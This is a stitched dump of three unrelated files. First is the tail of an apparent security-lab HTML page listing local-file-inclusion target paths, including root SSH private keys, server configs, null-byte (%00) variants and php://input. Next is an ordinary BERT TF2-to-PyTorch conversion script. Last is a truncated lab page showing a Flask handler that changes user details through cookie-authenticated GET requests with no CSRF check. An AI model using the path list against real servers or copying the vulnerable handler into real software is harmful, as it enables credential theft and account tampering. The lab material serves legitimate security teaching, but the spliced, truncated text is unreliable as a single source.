</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"># ssh相关</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/root/.ssh/id_rsa</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/root/.ssh/id_rsa.pub</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/root/.ssh/authorized_keys</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/root/.ssh/known_hosts //记录每个访问计算机用户的公钥</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/etc/ssh/sshd_config</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/var/log/secure</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/etc/sysconfig/network-scripts/ifcfg-eth0</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/etc/syscomfig/network-scripts/ifcfg-eth1</span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 921px;"></div><div class="CodeMirror-gutters" style="display: none; height: 921px;"></div></div></div></pre><p></br></p></li><li><p><span>其他服务路径</span></p><pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="" style="break-inside: unset;"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang=""><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.51562px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/NetServer\bin\stable\apache\php.ini</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/NetServer\bin\stable\apache\php.ini%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/PHP\php.ini</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/PHP\php.ini%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Program Files\Apache Group\Apache2\conf\httpd.conf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Program Files\Apache Group\Apache2\conf\httpd.conf%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Program Files\Apache Group\Apache\conf\httpd.conf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Program Files\Apache Group\Apache\conf\httpd.conf%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Program Files\Apache Group\Apache\logs\access.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Program Files\Apache Group\Apache\logs\access.log%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Program Files\Apache Group\Apache\logs\error.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Program Files\Apache Group\Apache\logs\error.log%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Program Files\xampp\apache\conf\httpd.conf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Program Files\xampp\apache\conf\httpd.conf%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/webBackup/opt/apache2/conf/httpd.conf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/webBackup/opt/apache2/conf/httpd.conf%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/webBackup/private/etc/httpd/httpd.conf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/webBackup/private/etc/httpd/httpd.conf%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/webBackup/private/etc/httpd/httpd.conf.default</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/Volumes/webBackup/private/etc/httpd/httpd.conf.default%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/WINDOWS\php.ini</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/WINDOWS\php.ini%00</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/WINNT\php.ini</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/WINNT\php.ini%00C:\WINDOWS\php.ini</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">C:\WINDOWS\win.ini</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">C:\WINNT\php.ini</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">C:\boot.ini</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\Program Files (x86)\Apache Group\Apache\logs\access.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\Program Files (x86)\Apache Group\Apache\logs\error.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\Program Files\Apache Group\Apache2\conf\httpd.conf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\Program Files\Apache Group\Apache\conf\httpd.conf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\Program Files\Apache Group\Apache\logs\access.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\Program Files\Apache Group\Apache\logs\error.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\Program Files\xampp\apache\conf\httpd.conf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache2\log\access.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache2\log\access_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache2\log\error.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache2\log\error_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache2\logs\access.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache2\logs\access_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache2\logs\error.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache2\logs\error_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache\log\access.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache\log\access_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache\log\error.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache\log\error_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache\logs\access.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache\logs\access_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache\logs\error.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\apache\logs\error_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\log\access.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\log\access_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\log\error.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\log\error_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\log\httpd\access_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\log\httpd\error_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\logs\access.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\logs\access_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\logs\error.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\logs\error_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\logs\httpd\access_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\logs\httpd\error_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\mysql\bin\my.ini</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\opt\xampp\logs\access.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\opt\xampp\logs\access_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\opt\xampp\logs\error.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\opt\xampp\logs\error_log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\FileZillaFTP\FileZilla Server.xml</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\FileZillaFTP\Logs</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\FileZillaFTP\Logs\access.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\FileZillaFTP\Logs\error.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\MercuryMail\LOGS\access.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\MercuryMail\LOGS\error.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\MercuryMail\mercury.ini</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\apache\conf\httpd.conf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\apache\logs\access.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\apache\logs\error.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\mysql\data\mysql.err</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\phpMyAdmin\config.inc</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\phpMyAdmin\config.inc.php</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\phpMyAdmin\phpinfo.php</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\php\php.ini</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\phpmyadmin\config.inc</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\phpmyadmin\config.inc.php</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\phpmyadmin\phpinfo.php</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\sendmail\sendmail.ini</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\sendmail\sendmail.log</span></pre><div class="" style="position: relative;"><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\tomcat\conf\tomcat-users.xml</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\tomcat\conf\web.xml</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\webalizer\webalizer.conf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">\xampp\webdav\webdav.txt</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">php://input</span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 2441px;"></div><div class="CodeMirror-gutters" style="display: none; height: 2441px;"></div></div></div></pre></li></ul></li></ul><p> </p></div></div>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 10,490 | src/transformers/models/bert/convert_bert_original_tf2_checkpoint_to_pytorch.py | # Copyright 2020 The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
This script can be used to convert a head-less TF2.x Bert model to PyTorch, as published on the official (now
deprecated) GitHub: https://github.com/tensorflow/models/tree/v2.3.0/official/nlp/bert
TF2.x uses different variable names from the original BERT (TF 1.4) implementation. The script re-maps the TF2.x Bert
weight names to the original names, so the model can be imported with Huggingface/transformer.
You may adapt this script to include classification/MLM/NSP/etc. heads.
Note: This script is only working with an older version of the TensorFlow models repository (<= v2.3.0).
Models trained with never versions are not compatible with this script.
"""
import argparse
import os
import re
import tensorflow as tf
import torch
from transformers import BertConfig, BertModel
from transformers.utils import logging
logging.set_verbosity_info()
logger = logging.get_logger(__name__)
def load_tf2_weights_in_bert(model, tf_checkpoint_path, config):
tf_path = os.path.abspath(tf_checkpoint_path)
logger.info(f"Converting TensorFlow checkpoint from {tf_path}")
# Load weights from TF model
init_vars = tf.train.list_variables(tf_path)
names = []
arrays = []
layer_depth = []
for full_name, shape in init_vars:
# logger.info(f"Loading TF weight {name} with shape {shape}")
name = full_name.split("/")
if full_name == "_CHECKPOINTABLE_OBJECT_GRAPH" or name[0] in ["global_step", "save_counter"]:
logger.info(f"Skipping non-model layer {full_name}")
continue
if "optimizer" in full_name:
logger.info(f"Skipping optimization layer {full_name}")
continue
if name[0] == "model":
# ignore initial 'model'
name = name[1:]
# figure out how many levels deep the name is
depth = 0
for _name in name:
if _name.startswith("layer_with_weights"):
depth += 1
else:
break
layer_depth.append(depth)
# read data
array = tf.train.load_variable(tf_path, full_name)
names.append("/".join(name))
arrays.append(array)
logger.info(f"Read a total of {len(arrays):,} layers")
# Sanity check
if len(set(layer_depth)) != 1:
raise ValueError(f"Found layer names with different depths (layer depth {list(set(layer_depth))})")
layer_depth = list(set(layer_depth))[0]
if layer_depth != 1:
raise ValueError(
"The model contains more than just the embedding/encoder layers. This script does not handle MLM/NSP"
" heads."
)
# convert layers
logger.info("Converting weights...")
for full_name, array in zip(names, arrays):
name = full_name.split("/")
pointer = model
trace = []
for i, m_name in enumerate(name):
if m_name == ".ATTRIBUTES":
# variable names end with .ATTRIBUTES/VARIABLE_VALUE
break
if m_name.startswith("layer_with_weights"):
layer_num = int(m_name.split("-")[-1])
if layer_num <= 2:
# embedding layers
# layer_num 0: word_embeddings
# layer_num 1: position_embeddings
# layer_num 2: token_type_embeddings
continue
elif layer_num == 3:
# embedding LayerNorm
trace.extend(["embeddings", "LayerNorm"])
pointer = getattr(pointer, "embeddings")
pointer = getattr(pointer, "LayerNorm")
elif layer_num > 3 and layer_num < config.num_hidden_layers + 4:
# encoder layers
trace.extend(["encoder", "layer", str(layer_num - 4)])
pointer = getattr(pointer, "encoder")
pointer = getattr(pointer, "layer")
pointer = pointer[layer_num - 4]
elif layer_num == config.num_hidden_layers + 4:
# pooler layer
trace.extend(["pooler", "dense"])
pointer = getattr(pointer, "pooler")
pointer = getattr(pointer, "dense")
elif m_name == "embeddings":
trace.append("embeddings")
pointer = getattr(pointer, "embeddings")
if layer_num == 0:
trace.append("word_embeddings")
pointer = getattr(pointer, "word_embeddings")
elif layer_num == 1:
trace.append("position_embeddings")
pointer = getattr(pointer, "position_embeddings")
elif layer_num == 2:
trace.append("token_type_embeddings")
pointer = getattr(pointer, "token_type_embeddings")
else:
raise ValueError(f"Unknown embedding layer with name {full_name}")
trace.append("weight")
pointer = getattr(pointer, "weight")
elif m_name == "_attention_layer":
# self-attention layer
trace.extend(["attention", "self"])
pointer = getattr(pointer, "attention")
pointer = getattr(pointer, "self")
elif m_name == "_attention_layer_norm":
# output attention norm
trace.extend(["attention", "output", "LayerNorm"])
pointer = getattr(pointer, "attention")
pointer = getattr(pointer, "output")
pointer = getattr(pointer, "LayerNorm")
elif m_name == "_attention_output_dense":
# output attention dense
trace.extend(["attention", "output", "dense"])
pointer = getattr(pointer, "attention")
pointer = getattr(pointer, "output")
pointer = getattr(pointer, "dense")
elif m_name == "_output_dense":
# output dense
trace.extend(["output", "dense"])
pointer = getattr(pointer, "output")
pointer = getattr(pointer, "dense")
elif m_name == "_output_layer_norm":
# output dense
trace.extend(["output", "LayerNorm"])
pointer = getattr(pointer, "output")
pointer = getattr(pointer, "LayerNorm")
elif m_name == "_key_dense":
# attention key
trace.append("key")
pointer = getattr(pointer, "key")
elif m_name == "_query_dense":
# attention query
trace.append("query")
pointer = getattr(pointer, "query")
elif m_name == "_value_dense":
# attention value
trace.append("value")
pointer = getattr(pointer, "value")
elif m_name == "_intermediate_dense":
# attention intermediate dense
trace.extend(["intermediate", "dense"])
pointer = getattr(pointer, "intermediate")
pointer = getattr(pointer, "dense")
elif m_name == "_output_layer_norm":
# output layer norm
trace.append("output")
pointer = getattr(pointer, "output")
# weights & biases
elif m_name in ["bias", "beta"]:
trace.append("bias")
pointer = getattr(pointer, "bias")
elif m_name in ["kernel", "gamma"]:
trace.append("weight")
pointer = getattr(pointer, "weight")
else:
logger.warning(f"Ignored {m_name}")
# for certain layers reshape is necessary
trace = ".".join(trace)
if re.match(r"(\S+)\.attention\.self\.(key|value|query)\.(bias|weight)", trace) or re.match(
r"(\S+)\.attention\.output\.dense\.weight", trace
):
array = array.reshape(pointer.data.shape)
if "kernel" in full_name:
array = array.transpose()
if pointer.shape == array.shape:
pointer.data = torch.from_numpy(array)
else:
raise ValueError(
f"Shape mismatch in layer {full_name}: Model expects shape {pointer.shape} but layer contains shape:"
f" {array.shape}"
)
logger.info(f"Successfully set variable {full_name} to PyTorch layer {trace}")
return model
def convert_tf2_checkpoint_to_pytorch(tf_checkpoint_path, config_path, pytorch_dump_path):
# Instantiate model
logger.info(f"Loading model based on config from {config_path}...")
config = BertConfig.from_json_file(config_path)
model = BertModel(config)
# Load weights from checkpoint
logger.info(f"Loading weights from checkpoint {tf_checkpoint_path}...")
load_tf2_weights_in_bert(model, tf_checkpoint_path, config)
# Save pytorch-model
logger.info(f"Saving PyTorch model to {pytorch_dump_path}...")
torch.save(model.state_dict(), pytorch_dump_path)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
"--tf_checkpoint_path", type=str, required=True, help="Path to the TensorFlow 2.x checkpoint path."
)
parser.add_argument(
"--bert_config_file",
type=str,
required=True,
help="The config json file corresponding to the BERT model. This specifies the model architecture.",
)
parser.add_argument(
"--pytorch_dump_path",
type=str,
required=True,
help="Path to the output PyTorch model (must include filename).",
)
args = parser.parse_args()
convert_tf2_checkpoint_to_pytorch(args.tf_checkpoint_path, args.bert_config_file, args.pytorch_dump_path)
|
2740908911/Pilot-Web | 8,114 | pilot-client/pages/csrf/assist/sCode-1.html | <!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>
<link rel='stylesheet' href='../../../plugins/googleapis/fonts.css'>
<link rel="stylesheet" href="../../../dist/css/markdown.css">
</head>
<body class='typora-export os-windows'><div class='typora-export-content'>
<div id='write' class='card'><pre class="md-fences md-end-block ty-contain-cm modeLoaded md-focus" spellcheck="false" lang="python" style="break-inside: unset;"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap CodeMirror-focused" lang="python"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 539.234px; left: 519.953px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">modifyUserInfo</span>():</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 获取请求参数中的手机号和QQ号</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">phone</span> <span class="cm-operator">=</span> <span class="cm-variable">request</span>.<span class="cm-property">args</span>[<span class="cm-string">'phone'</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">qq</span> <span class="cm-operator">=</span> <span class="cm-variable">request</span>.<span class="cm-property">args</span>[<span class="cm-string">'qq'</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 获取请求中的token</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">token</span> <span class="cm-operator">=</span> <span class="cm-variable">request</span>.<span class="cm-property">cookies</span>.<span class="cm-property">get</span>(<span class="cm-string">'token'</span>, <span class="cm-keyword">None</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">try</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 解码token中的账号信息</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">account</span> <span class="cm-operator">=</span> <span class="cm-variable">base64</span>.<span class="cm-property">b64decode</span>(<span class="cm-variable">add_base64_padding</span>(<span class="cm-variable">token</span>.<span class="cm-property">split</span>(<span class="cm-string">'.'</span>)[<span class="cm-number">1</span>])).<span class="cm-property">decode</span>().<span class="cm-property">split</span>(<span class="cm-string">'"account":"'</span>)[<span class="cm-number">1</span>].<span class="cm-property">split</span>(<span class="cm-string">'"'</span>)[<span class="cm-number">0</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 验证token的有效性</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-variable">verify_token</span>(<span class="cm-variable">token</span>,<span class="cm-variable">account</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 如果token有效,则更新数据库中的用户信息</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">modify_db</span>(<span class="cm-string">"UPDATE USER SET PHONE = %s,QQ = %s WHERE USERNAME = %s"</span>, (<span class="cm-variable">phone</span>, <span class="cm-variable">qq</span>, <span class="cm-variable">account</span>))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 返回成功回调</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">responses</span>.<span class="cm-property">callback_public_modifysuccess</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">else</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 如果token无效,则返回token错误的回调</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">responses</span>.<span class="cm-property">update_callback</span>(<span class="cm-variable">responses</span>.<span class="cm-property">callback_public_tokenerr</span>, {<span class="cm-string">'username'</span>: <span class="cm-variable">account</span>})</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">except</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 如果发生异常,则返回token错误的回调</span></span></pre><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background 